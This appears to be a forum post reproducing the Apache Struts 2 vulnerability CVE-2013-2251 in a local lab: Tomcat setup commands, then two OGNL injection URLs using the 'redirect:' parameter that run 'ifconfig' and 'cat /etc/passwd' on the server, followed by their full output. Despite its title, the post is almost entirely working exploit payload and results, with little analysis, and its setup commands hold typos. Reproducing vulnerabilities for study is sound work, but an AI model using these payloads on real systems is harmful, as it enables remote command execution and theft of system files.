-
-
[原创]CVE-2013-2251 Apache Struts 2 高危漏洞重现构造及漏洞原理分析
-
发表于: 2013-7-19 11:07
-
admin001@ubuntu:/usr/local/development/tomcat7/bin$ java -version java version "1.7.0_21" OpenJDK Runtime Environment (IcedTea 2.3.9) (7u21-2.3.9-1ubuntu1) OpenJDK Client VM (build 23.7-b01, mixed mode, sharing) Sudo wget http://apache.fayea.com/apache-mirror/tomcat/tomcat-7/v7.0.42/bin/apache-tomcat-7.0.42.tar.gz
sudo tar zxvf apache-tomcat-7.0.42.tar.gz
Sudo mv apache-tomcat-7.0.42 tomcat7
Cd tomcat7 Cd bin Sudo gedit catalina.sh (不会使用Vim，汗！！！)
cygwin=false darwin=false os400=false case "`uname`" in CYGWIN*) cygwin=true;; Darwin*) darwin=true;; OS400*) os400=true;;
JAVA_HOME =/etc/java-7-openjdk JAVA_OPTS="-server -Xms512m -Xmx1024m -XX:PermSize=600M -XX:MaxPermSize=600m -Dcom.sun.management.jmxremote"
Sodu ./ startup.sh
Sudo find / -name *openjdk*
/usr/local/development/tomcat7/webapps
/usr/local/development/tomcat7/webapps/ROOT
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
eth0 Link encap:Ethernet HWaddr 00:0c:29:58:66:9e inet addr:192.168.199.138 Bcast:192.168.199.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe58:669e/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:40469 errors:0 dropped:0 overruns:0 frame:0 TX packets:23308 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:55069446 (55.0 MB) TX bytes:1421989 (1.4 MB) Interrupt:19 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:1638 errors:0 dropped:0 overruns:0 frame:0 TX packets:1638 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:479063 (479.0 KB) TX bytes:479063 (479.0 KB)
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false avahi-autoipd:x:103:106:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false dnsmasq:x:105:65534:dnsmasq,,,:/var/lib/misc:/bin/false whoopsie:x:106:111::/nonexistent:/bin/false kernoops:x:107:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false rtkit:x:108:114:RealtimeKit,,,:/proc:/bin/false speech-dispatcher:x:109:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh avahi:x:110:116:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false colord:x:111:118:colord colour management daemon,,,:/var/lib/colord:/bin/false pulse:x:112:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false gdm:x:114:121:Gnome Display Manager:/var/lib/gdm:/bin/false saned:x:115:123::/home/saned:/bin/false debian-spamd:x:116:124::/var/lib/spamassassin:/bin/sh admin001:x:1000:1000:test,,,:/home/admin001:/bin/bash
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
